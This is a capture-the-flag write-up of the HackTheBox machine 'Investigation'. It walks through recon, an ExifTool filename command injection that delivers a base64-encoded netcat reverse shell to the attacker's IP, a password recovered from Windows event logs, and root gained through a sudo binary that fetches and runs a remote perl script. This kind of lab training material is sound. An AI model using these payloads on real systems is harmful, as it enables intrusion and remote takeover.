Introduction
Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.
Investigation is an Medium Linux machine.
Recon
Let’s do some recon !
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
|
└─$ nmap 10.129.140.76 -A -Pn -p- -T4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)
| 256 274520add2faa73a8373d97c79abf30b (ECDSA)
|_ 256 4245eb916e21020617b2748bc5834fe0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
Browsing at http://10.129.140.76, we are redirected to a website at http://eforenzics.htb/
. We can put the host on /etc/hosts
.
Fuzzing subdomains
Using ffuf
I tried to discover subdomains.
1
|
└─$ ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.eforenzics.htb" -u http://10.129.140.76 -fc 301
|
There is a file upload feature that we can use to analyze exif data of an image.
First, I tried to upload a simple image. After uploading we get a link to the exifdata retrieved from our image.
1
2
3
4
5
6
7
8
9
10
|
ExifTool Version Number : 12.37
File Name : trollface.png_original
Directory : .
File Size : 94 KiB
File Modification Date/Time : 2023:01:23 13:53:50+00:00
File Access Date/Time : 2023:01:23 13:53:50+00:00
File Inode Change Date/Time : 2023:01:23 13:53:50+00:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
|
Here we get the version number of exiftool
command: 12.37.
Path to the first shell
I found exploit (CVE-2021-22204) for an older version and does not work here. Then, after some research I found that gist. It explain that Exiftool versions < 12.38 are vulnerable to Command Injection through a crafted filename. There is no check done on filename and we are able to execute command by adding a pipe at the end of the filename.
I tried to upload a file named nc -c bash 10.10.16.95 4444 |
.
1
2
3
4
5
6
7
8
9
|
ExifTool Version Number : 12.37
File Name : nc -c bash 10.10.16.95 4444 |
Directory : .
File Size : 0 bytes
File Modification Date/Time : 2023:01:23 14:16:14+00:00
File Access Date/Time : 2023:01:23 14:16:14+00:00
File Inode Change Date/Time : 2023:01:23 14:16:14+00:00
File Permissions : prw-------
Error : File is empty
|
But it doesn’t work :( My listener did not receive any connection. I manage to use the mkfifo reverse shell. To do so, we first need to encode our payload using base64 as we can’t put /
on filename.
1
2
3
4
|
└─$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.95 4444 >/tmp/f' |base64
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2Ljk1IDQ0NDQgPi90bXAvZg==
└─$ cp trollface.png 'echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE2Ljk1IDQ0NDQgPi90bXAvZg==|base64 -d|sh |'
|
I opened a listener and then upload that file.
1
2
3
4
5
|
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.95] from (UNKNOWN) [10.129.140.187] 56732
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
As a result we get our first shell !
Path to the privesc
smorton
Running a linpeas.sh
scan we found a new folder /usr/local/investigation
.
1
|
*/5 * * * * date >> /usr/local/investigation/analysed_log && echo "Clearing folders" >> /usr/local/investigation/analysed_log && rm -r /var/www/uploads/* && rm /var/www/html/analysed_images/*
|
We found a file 'Windows Event Logs for Analysis.msg'
checking file type with file
command.
1
2
|
www-data@investigation:/usr/local/investigation$ file Window*
Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message
|
It seems to be an Outlook message. We can use msgconvert
command to convert the message.
1
2
3
4
5
|
# install reqs
sudo apt-get install libemail-outlook-message-perl libemail-sender-perl
# Convert .msg
└─$ msgconvert Windows\ Event\ Logs\ for\ Analysis.msg
|
It convert *.msg
into .eml
file that we can read. On the file we found an email:
1
2
3
4
5
6
|
Hi Steve,
Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures.
Regards.
Tom
|
With a big base64 encoded message. I manage to decode the message. Running a file
on it.
1
2
|
└─$ file download.dat
download.dat: Zip archive data, at least v2.0 to extract, compression method=deflate
|
It seems to be a archive file. We can unzip it.
1
2
3
|
└─$ unzip download.dat
Archive: download.dat
inflating: security.evtx
|
We now have an evtx
file. This is the extension used by the Windows Event Viewer application. The log file stores logon/logoff events along with any activities related to Windows security. As the message says, some analysts have been logging on terminal. Logon Event ID on Windows are 4624 for a valid logon and 4625 for a fail logon.
I manage to filter logs with both IDs. On one of the event I found a password that have been used by mistake on the Account name field !
I tried those credentials on SSH smorton:Def@ultf0r3nz!csPa$$
. It works ! We can get the user flag :)
1
2
|
smorton@investigation:~$ cat user.txt
*************************934fbbc
|
root
Checking privileges.
1
2
3
4
5
6
7
|
smorton@investigation:~$ sudo -l
Matching Defaults entries for smorton on investigation:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User smorton may run the following commands on investigation:
(root) NOPASSWD: /usr/bin/binary
|
Running the binary and we get the following output:
1
2
|
smorton@investigation:~$ sudo /usr/bin/binary
Exiting...
|
Binary seems to wait some input. Reversing the binary in IDA and we recover the following pseudo-code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+28h] [rbp-28h]
__int64 v5; // [rsp+30h] [rbp-20h]
__int64 v6; // [rsp+38h] [rbp-18h]
__int64 v7; // [rsp+38h] [rbp-18h]
char *s; // [rsp+40h] [rbp-10h]
char *command; // [rsp+48h] [rbp-8h]
if ( argc != 3 )
{
puts("Exiting... ");
exit(0);
}
if ( getuid() )
{
puts("Exiting... ");
exit(0);
}
if ( strcmp(argv[2], "lDnxUysaQn") )
{
puts("Exiting... ");
exit(0);
}
puts("Running... ");
stream = fopen(argv[2], "wb");
v5 = curl_easy_init();
curl_easy_setopt(v5, 10002LL, argv[1]);
curl_easy_setopt(v5, 10001LL, stream);
curl_easy_setopt(v5, 45LL, 1LL);
if ( (unsigned int)curl_easy_perform(v5) )
{
puts("Exiting... ");
exit(0);
}
v6 = snprintf(0LL, 0LL, "%s", argv[2]);
s = (char *)malloc(v6 + 1);
snprintf(s, v6 + 1, "%s", argv[2]);
v7 = snprintf(0LL, 0LL, "perl ./%s", s);
command = (char *)malloc(v7 + 1);
snprintf(command, v7 + 1, "perl ./%s", s);
fclose(stream);
curl_easy_cleanup(v5);
setuid(0);
system(command);
system("rm -f ./lDnxUysaQn");
return 0;
}
|
- First condition
if ( argc != 3 )
check if the number of argument passed to the binary is equal to 3. If not exit.
- Second condition
if ( getuid() )
get the user UID. If the UID is not 0 exit. So we only can run the binary as root.
- Third condition
if ( strcmp(argv[2], "lDnxUysaQn") )
check if the thirb argument passed to the binary is equal to “lDnxUysaQn”. If not exit.
We can validate 3 points by running the following command.
1
2
3
|
smorton@investigation:~$ sudo /usr/bin/binary coucou lDnxUysaQn
Running...
Exiting...
|
We get the Running…, we passed the 3 conditions.
- Then,
stream = fopen(argv[2], "wb");
open file lDnxUysaQn
.
- After, it build a curl request and read a file and write the output in
lDnxUysaQn
file. Read file address is passed in the first binary argument argv[1]
.
1
2
3
4
|
v5 = curl_easy_init();
curl_easy_setopt(v5, 10002LL, argv[1]); # requested file
curl_easy_setopt(v5, 10001LL, stream); # output file
curl_easy_setopt(v5, 45LL, 1LL);
|
- Then, it build a perl command
v7 = snprintf(0LL, 0LL, "perl ./%s", s);
.
- Lastly, the binary invoc
system();
command.
I checked GTFOBins to find the privesc with perl. It is simply exec "/bin/sh";
. I create a perl file with this content and host a python server.
Finally, I execute the following command to get our root shell :)
1
2
3
4
5
6
|
smorton@investigation:~$ sudo /usr/bin/binary 10.10.16.95:8000/exploit.pl lDnxUysaQn
Running...
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
************************68a156c9
|
We can get the root flag !